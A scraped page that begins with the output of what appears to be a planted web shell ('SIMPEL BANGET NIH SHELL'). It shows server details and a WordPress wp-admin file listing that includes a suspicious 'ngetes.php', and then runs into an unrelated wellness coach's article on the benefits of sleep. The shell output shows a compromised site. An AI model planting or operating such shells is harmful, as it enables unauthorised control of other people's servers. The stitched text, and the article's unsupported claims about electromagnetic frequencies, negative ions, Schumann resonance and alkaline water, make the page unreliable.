SIMPEL BANGET NIH SHELL

Current directory: /srv/users/timms/apps/timms/public/wp-admin

Server information: Linux ubuntu-s-2vcpu-4gb-lon1-01 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64

Filename Permissions Actions
. Directory
.. Directory
about.php 0644
admin-ajax.php 0644
admin-footer.php 0644
admin-functions.php 0644
admin-header.php 0644
admin-post.php 0644
admin.php 0644
async-upload.php 0644
authorize-application.php 0644
comment.php 0644
credits.php 0644
css Directory
custom-background.php 0644
custom-header.php 0644
customize.php 0644
edit-comments.php 0644
edit-form-advanced.php 0644
edit-form-blocks.php 0644
edit-form-comment.php 0644
edit-link-form.php 0644
edit-tag-form.php 0644
edit-tags.php 0644
edit.php 0644
erase-personal-data.php 0644
export-personal-data.php 0644
export.php 0644
freedoms.php 0644
images Directory
import.php 0644
includes Directory
index.php 0644
install-helper.php 0644
install.php 0644
js Directory
link-add.php 0644
link-manager.php 0644
link-parse-opml.php 0644
link.php 0644
load-scripts.php 0644
load-styles.php 0644
maint Directory
media-new.php 0644
media-upload.php 0644
media.php 0644
menu-header.php 0644
menu.php 0644
moderation.php 0644
ms-admin.php 0644
ms-delete-site.php 0644
ms-edit.php 0644
ms-options.php 0644
ms-sites.php 0644
ms-themes.php 0644
ms-upgrade-network.php 0644
ms-users.php 0644
my-sites.php 0644
nav-menus.php 0644
network Directory
network.php 0644
ngetes.php 0664
options-discussion.php 0644
options-general.php 0644
options-head.php 0644
options-media.php 0644
options-permalink.php 0644
options-privacy.php 0644
options-reading.php 0644
options-writing.php 0644
options.php 0644
plugin-editor.php 0644
plugin-install.php 0644
plugins.php 0644
post-new.php 0644
post.php 0644
press-this.php 0644
privacy-policy-guide.php 0644
privacy.php 0644
profile.php 0644
revision.php 0644
setup-config.php 0644
site-editor.php 0644
site-health-info.php 0644
site-health.php 0644
term.php 0644
theme-editor.php 0644
theme-install.php 0644
themes.php 0644
tools.php 0644
update-core.php 0644
update.php 0644
upgrade-functions.php 0644
upgrade.php 0644
upload.php 0644
user Directory
user-edit.php 0644
user-new.php 0644
users.php 0644
widgets-form-blocks.php 0644
widgets-form.php 0644
widgets.php 0644
The Benefits of Sleep | Life Changing Energies |

Benefits of Sleep

The Benefits of Sleep

Sleep is a gift and a learned behaviour, so even if your sleep pattern has broken, it can be re-established and any emotional blocks removed through the work I do as a Wingwave coach.
 
The environment is important, as is the lead up to bedtime and also what we do during the day which can impact our ability to wind down and ready ourselves for the magnificence that is sleep.
 
Did you know that during sleep our bodies rest, repair, rejuvenate and have processes going on that are vital for good health.
 
  • Certain proteins are released called Cytokines that target infection and inflammation building a good immune system.
  • The appetite hormones Ghrelin and Leptin are in action, decreasing and increasing respectively to reduce appetite so lack of sleep sends these, along with our appetites out of control.
  • New neural/nerve pathways are laid down
  • New research shows that the brain cells shrink to allow gaps between the nerves to “spring clean” and flush heavy metals and toxins. One such protein is Beta-amyloid(implicated in Alzheimer’s disease).The toxins are absorbed during the day from the environment. You need good quality sleep even when you get older.
  • Good sleep gives you more energy and mental clarity and focus the next day.
  • Better mood.
  • Less likely to develop pre diabetes
  • Less likely to develop high blood pressure
  • Less likely to develop heart disease
  • Less likely to gain weight
 
Caffeinated drinks, blue light from screens and electromagnetic frequencies emitted from devices along with sleep trackers can actually stop you sleeping, as can being dehydrated. Alkaline water filters can help here if you dislike the taste of tap water and want to stop adding to the ever growing mountain of plastic water bottle waste.
Not getting out into nature to breathe the negative ions and connect with the earth’s frequencies (Schumann resonance/geo-magnetic force) can also impede our sleep.
 
We look better, we FEEL better, we function better and our longevity increases. 
We sleep better, we live better.
  • You are more alert so less likely to have an accident driving
  • You are more focused
  • Your productivity levels increase which can lead to promotions at work
  • More energy
  • Happier
  • More social; less irritable
  • Appetite and immunity
  • Better physical health
  • More vitality
  • More able to face life's challenges
  • Look younger
  • Increased longevity (life span)
  • Better mental health
  • Improved spatial awareness
Life Changing Energies logo with grey background

Important Links

Home

Privacy Policy

Terms and Conditions